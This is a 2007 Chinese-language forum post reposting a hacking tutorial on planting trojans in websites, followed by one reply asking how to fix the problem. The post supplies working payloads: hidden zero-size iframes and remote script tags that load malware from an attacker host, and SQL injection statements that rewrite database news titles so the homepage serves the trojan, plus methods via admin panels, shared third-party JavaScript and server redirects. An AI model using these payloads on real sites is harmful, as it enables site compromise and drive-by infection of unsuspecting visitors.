廣告廣告
  加入我的最愛 設為首頁 風格修改
首頁 首尾
 手機版   訂閱   地圖  簡體 
您是第 2876 個閱讀者
 
發表文章 發表投票 回覆文章
  可列印版   加為IE收藏   收藏主題   上一主題 | 下一主題   
millets 手機
個人頭像
個人文章 個人相簿 個人日記 個人地圖
初露鋒芒
級別: 初露鋒芒 該用戶目前不上站
推文 x0 鮮花 x32
分享: 轉寄此文章 Facebook Plurk Twitter 版主評分 複製連結到剪貼簿 轉換為繁體 轉換為簡體 載入圖片
推文 x0
木馬網站滲透
文章作者:Pixy
信息來源:邪惡八進制信息安全團隊(www.eviloctal.com)
=============================================
  普通法:(Iframe用法詳解 — http://zhidao.baidu.com/que...5.html?si=2)
  一普通的掛馬的都是用框架,這是最基本的掛馬方式,那就想插入哪裡就寫哪裡了
最基本的語句當然是
<iframe src=http://www.xxxx.com/muma.htm width=0 height=0></iframe>
  其中http://www.xxxx....ma.htm是我們的木馬

Js法:
  上面可能是一般的掛馬方式,初學者的玩法,好了,再說深一點點的,那就是js檔案,現在好多網站都調有了JS
  其中的語句是:
<script language=javascript src=./xxxx.js></script>,想到了什麼,這裡也可以掛馬,其中我們可以遠程調用自己的js

  比如:<script language=javascript src=http://www.xxxx.com/muma.js></script>
  這個muma.js就可以寫木馬了,怎麼寫呢,同樣,我們還用最基本的iframe框架,不過在<script></script>之中可識別語言不是html,js檔案可以這樣寫:
  document.write("<iframe <iframe src=http://www.xxxx.com/muma.htm width=0 height=0></iframe>");

  這種形式,這時就可以執行此js中的代碼了,當然了,說白了,其實全語句就是
<script language=javascript>document.write("<iframe <iframe src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>")</script>
Js技巧:

  <script></script>之中,無論什麼後綴的檔案,只要裡面寫的語句可以被javascript識別就會執行,比如<script src=http://www.xxxx.com/mm.ooaa></script>
      <script src=http://www.xxxx.com/mumma.haha></script>

不管後綴是什麼了 都可以執行...
同樣,如果首頁調用其它網站,或者次級目錄中的Html,Asp等
例:<iframe src=./about/nihao.htm width=200 height=100></iframe>
也可以在nihao.htm檔案裡掛馬,可以是htm和js,隨便哪種,這種比較隱蔽,適用於主頁沒有寫權限時利用。

  <script>於<iframe>比較
貌似script整體掛馬的代碼長度比iframe小得多,說實用是在資料庫方面,下面介紹。資料庫掛馬,這裡我們拿mssql資料庫為例子。

  這裡說的是首頁調用到的資料庫,比如新聞,論壇,公告,等等,一般是標題。  
舉個例子,比如首頁有一條新聞為:「今日報道」,那麼滑鼠點此新聞,地址欄打開的新窗口為news.asp?id=XX,這種情況,這時,就可以判斷此新聞是從資料庫中調用的了,當然了,我們不說access,只說mssql。

  首頁,我們要有這個網站中的一個注入點,比如就點在music.asp?id=1,同時,至少是Db_Owner權限,這時如果要掛馬可以不用取到webshell,因為如果我們的目的只在於掛馬的話,而且有時,還得檢測mssql資料庫和web服務器不在同一個機器上,那掛馬的方式就是更改資料庫內容,這裡我說的就是這種,如上面說的,首頁顯示的一條新聞標題為「今日報道」,如果首頁顯示的標題是「今日報道</a><iframe src=http://www.xxxx.com/muma.htm width=0 height=0></iframe>」,那這樣的話,首頁就會執行這段代碼了,像這種情況,找到了注入點,就得找表名,如此新聞的表名為news,字段為title,ID等等,根據猜測 ' and1=1 ……

暴出的字段title的值就為「今日報道」,那麼90%就可以猜到了,首頁調用的資料庫的字段就為news表中的title,這時在注入點,可以大膽提交music.asp?id=xxx;update news set title='今日報道</a><iframe src=http://www.xxxx.com/muma.htmwidth=0 height=0></iframe>' where id=1;

  這樣就可以更改資料庫了,前提是最少要少Db_Owner權限,當然也有時由於代碼原因,也可以這樣提交:Music.asp?id=xxx'update news set title='今日開夜</a><ifrmae src=http://www.xxxx.com/muma.htm width=0 height=0></iframe>' where id=1 and Ƈ'=Ƈ 等等……

  這種方法是有問題的,實戰中存在不少問題,因為一般的情況下,標題都是通過<table>來限制寬度,也就是說如果你的標題的長度超過了指定的長度,那麼你的代碼只能寫一半,這樣就不能執行了,所以掛馬最好的方法是用<script>這種方法來掛馬了,如:
music.asp?id=xxx;update news set title='今日報道</a><script src=http://www.xxxx.com.muma.htm></script>' where id=1;--長度有很大的減少,很不錯。

後台掛馬法:
通常拿不到webshell,就只能靠進後台掛馬。

這裡說的是進入了後台,但不能通過後台得到webshell,這時要仔細關察後台,像比較網站的鏈接、頂部底部的廣告、都可以直接寫入你的木馬代碼,等等,後台是靈活的,具體問題具體分析。不過有一點很重要,是不要打亂前台htm源檔案裡的代碼邏輯,比如應該閉合前面的<a><img>"( 等這些符號,應該先閉合掉如</a></img>")。

其它形式

例如首頁調用了<iframe src=music.asp?id=1&no=view width=100></iframe>此種形勢,一樣可以在music.asp中直接寫入iframe木馬代碼,如果調用的是<script src=music.asp?id=1&no=view width=100></script>在music.asp寫代碼時
請用document.write("")這種格式寫入,當然,如果被掛檔案中還有調用的檔案可以繼續往深處寫,如果你夠狠的話,直接寫到資料庫配置檔案中,如conn.asp,這樣好多頁面可以同時掛上你的一種木馬了。
當然這裡也有js檔案,一樣原理。
掛一個網站的馬,不一定就得攻入他,有時沒有方法的同時,可以考慮跨站。好多站用了別的站的js檔案,如:<script src=http://www.sohu.com/user.js>這種情勢,這時就可以考慮只拿sohu.com的權限就行了,只要能修改到user.js檔案就可以掛到你要掛的站點了,同理,也有<iframe src=http://www.sohu.com/user.htm>此種情況,一樣道理,劍走偏鋒,達到目的,無論用什麼招數了。

服務器掛馬法:
這裡簡單說一個比較狠的吧.重定向任何調用的htm,js,等檔案,只要是執行的

這種方法在計算中用搜索搜索不到的,反正本地怎麼找也找不到。只能在IIS裡設置..而且調用檔案那麼多,怎麼知道是重定向的那個檔案呢?

此文章被評分,最近評分記錄
財富:50 (by upside) | 理由: 感謝提供 參考資料 數位男女因你而豐富



獻花 x0 回到頂端 [樓 主] From:臺灣中華HiNet | Posted:2007-02-14 16:28 |
almostafa
個人頭像
個人文章 個人相簿 個人日記 個人地圖
小人物
級別: 小人物 該用戶目前不上站
推文 x0 鮮花 x35
分享: 轉寄此文章 Facebook Plurk Twitter 複製連結到剪貼簿 轉換為繁體 轉換為簡體 載入圖片

那請問是否可解呢?近來似乎遇上這個問題?


合得我意,恐非人意,合得人意,不合我意;我意人意,皆非天意,合得天意,自然如意!
獻花 x0 回到頂端 [1 樓] From:臺灣中華電信HINET | Posted:2007-02-17 02:22 |

首頁  發表文章 發表投票 回覆文章
Powered by PHPWind v1.3.6
Copyright © 2003-04 PHPWind
Processed in 0.026596 second(s),query:16 Gzip disabled
本站由 瀛睿律師事務所 擔任常年法律顧問 | 免責聲明 | 本網站已依台灣網站內容分級規定處理 | 連絡我們 | 訪客留言